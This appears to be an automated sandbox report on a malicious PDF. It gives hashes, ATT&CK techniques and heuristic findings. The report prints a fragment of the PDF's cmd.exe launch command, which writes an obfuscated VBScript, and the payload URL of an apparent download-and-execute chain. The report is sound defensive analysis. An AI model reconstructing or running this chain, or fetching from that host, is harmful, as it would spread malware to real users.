PDF malware analysis — malicious · 838cee9cd36cd9ee

MALICIOUS

PDF

802 B

MD5: 9d1063ea77c5f9fe2315f9763f8051e5 SHA-1: 8a3dbff42a0aadc6367ec7bbe9ed8812017fd22d SHA-256: 838cee9cd36cd9eeb94d72293d79005ef9eed969758fc29b5847205acafc8c2c

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to write a VBScript to disk, which is likely intended to download and execute a second-stage payload from the embedded URL http://93.183.203.112/1a1/tmp/m.vbs. The VBScript itself is obfuscated but the intent to download and execute is clear from the PDF launch action.

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://93.183.203.112/1a1/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.